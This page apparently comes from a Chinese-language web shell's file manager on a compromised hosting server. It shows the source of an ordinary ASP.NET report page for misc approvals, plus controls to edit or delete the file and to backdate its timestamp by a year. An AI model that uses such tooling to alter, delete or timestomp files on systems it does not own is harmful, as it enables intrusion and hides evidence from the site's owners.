文件操作 - MiscApproval.aspx
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\howell.kimbly.in\wwwroot\ReportsApproval\MiscApproval.aspx
编辑文件内容
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="MiscApproval.aspx.cs" Inherits="HowellWebService.ReportsApproval.MiscApproval" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> <link href="../css/bootstrap.min.css" rel="stylesheet" /> </head> <body> <form id="form1" runat="server"> <div style="width:100%; margin-left:10px"><h4> Misc Approved Report</h4><hr style="width:100%" /> </div> <div style="width:100%; margin-left:10px"> <div style="width:15%; float:left"> Start Date </div> <div style="width:15%; float:left"> <asp:TextBox ID="txtStartDate" runat="server" type="Date" CssClass="form-control"></asp:TextBox> </div> <div style="width:15%; float:left; margin-left:10px">End Date</div> <div style="width:20%; float:left"> <asp:TextBox ID="txtEndDate" runat="server" type="Date" CssClass="form-control"></asp:TextBox> </div> <div style="width:15%; float:left"> <asp:Button ID="BtnSearch" runat="server" Text="Search" CssClass="btn btn-success" OnClick="BtnSearch_Click" /> </div> <div style="width:15%; float:left"> <asp:Button ID="BtnExcel" runat="server" Text="Excel" CssClass="btn btn-default" OnClick="BtnExcel_Click" /> </div> </div> <div style="width:100%; margin-left:10px"> <hr style="width:100%" /> </div> <asp:GridView ID="GridView1" runat="server" AutoGenerateColumns="False" CellPadding="4" DataSourceID="SqlDataSource1" ForeColor="#333333" GridLines="None" Width="100%"> <AlternatingRowStyle BackColor="White" ForeColor="#284775" /> <Columns> <asp:BoundField DataField="CardNo" HeaderText="CardNo" SortExpression="CardNo" /> <asp:BoundField DataField="Name" HeaderText="Name" SortExpression="Name" /> <asp:BoundField DataField="ApproveDate" DataFormatString="{0:dd-MMM-yy}" HeaderText="ApproveDate" SortExpression="ApproveDate" /> <asp:BoundField DataField="Amount" HeaderText="Amount" SortExpression="Amount" /> <asp:BoundField DataField="ApprovedAmount" HeaderText="ApprovedAmount" SortExpression="ApprovedAmount" /> <asp:BoundField DataField="PaidAmount" HeaderText="PaidAmount" SortExpression="PaidAmount" /> <asp:CheckBoxField DataField="Paid" HeaderText="Paid" SortExpression="Paid" /> <asp:BoundField DataField="Remarks" HeaderText="Remarks" SortExpression="Remarks" /> </Columns> <EditRowStyle BackColor="#999999" /> <FooterStyle BackColor="#5D7B9D" Font-Bold="True" ForeColor="White" /> <HeaderStyle BackColor="#5D7B9D" Font-Bold="True" ForeColor="White" /> <PagerStyle BackColor="#284775" ForeColor="White" HorizontalAlign="Center" /> <RowStyle BackColor="#F7F6F3" ForeColor="#333333" /> <SelectedRowStyle BackColor="#E2DED6" Font-Bold="True" ForeColor="#333333" /> <SortedAscendingCellStyle BackColor="#E9E7E2" /> <SortedAscendingHeaderStyle BackColor="#506C8C" /> <SortedDescendingCellStyle BackColor="#FFFDF8" /> <SortedDescendingHeaderStyle BackColor="#6F8DAE" /> </asp:GridView> <asp:SqlDataSource ID="SqlDataSource1" runat="server" ConnectionString="<%$ ConnectionStrings:ApplicationServices %>" SelectCommand="SearchApprovedMisc" SelectCommandType="StoredProcedure"> <SelectParameters> <asp:Parameter DbType="Date" Name="StartDate" /> <asp:Parameter DbType="Date" Name="EndDate" /> </SelectParameters> </asp:SqlDataSource> </form> </body> </html>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件